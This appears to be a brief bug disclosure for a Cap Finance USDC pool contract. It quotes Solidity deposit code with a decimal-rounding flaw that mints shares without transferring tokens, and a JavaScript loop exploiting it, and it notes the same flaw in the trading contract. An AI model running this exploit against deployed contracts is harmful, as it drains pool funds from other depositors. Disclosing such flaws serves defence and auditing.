Cap Finance USDC pool exploit === The exploit affects the `transferIn(uint256)` where the decimals are < 18. In this example case, usdc has decimals of 6 which leaves a 12 decimal number to be passed into this function to result in `amount` being rounded to 0. ```bash= function _transferIn(uint256 amount) internal { // adjust decimals uint256 decimals = IRouter(router).getDecimals(currency); amount = amount * (10**decimals) / UNIT; // <HERE> IERC20(currency).safeTransferFrom(msg.sender, address(this), amount); } function deposit(uint256 amount) external payable { uint256 lastBalance = _getCurrentBalance(); if (currency == address(0)) { amount = msg.value; lastBalance -= amount; } else { _transferIn(amount); // <HERE> } require(amount > 0, "!amount"); require(amount + lastBalance <= maxCap, "!max-cap"); uint256 clpAmountToMint = lastBalance == 0 || totalSupply == 0 ? amount : amount * totalSupply / lastBalance; lastDeposited[msg.sender] = block.timestamp; IRewards(rewards).updateRewards(msg.sender); totalSupply += clpAmountToMint; balances[msg.sender] += clpAmountToMint; emit Deposit( msg.sender, currency, amount, clpAmountToMint ); } ``` This can be exploited by simply calling the deposit function repeatedly with either a multicall or in a for loop as to accumulate deposits without transfering the required tokens. ```bash= for (let i=0;i<100;i++){ await usdcPool.deposit("999999999999"); } ``` ### Trading contract Since the trading contract also uses the same implementation of the `_transferIn(uint256)` function. Depending on the collateral asset's decimals the user will have up to 12 decimals free to deposit while not actually transfering the assets to the trading contract as collateral.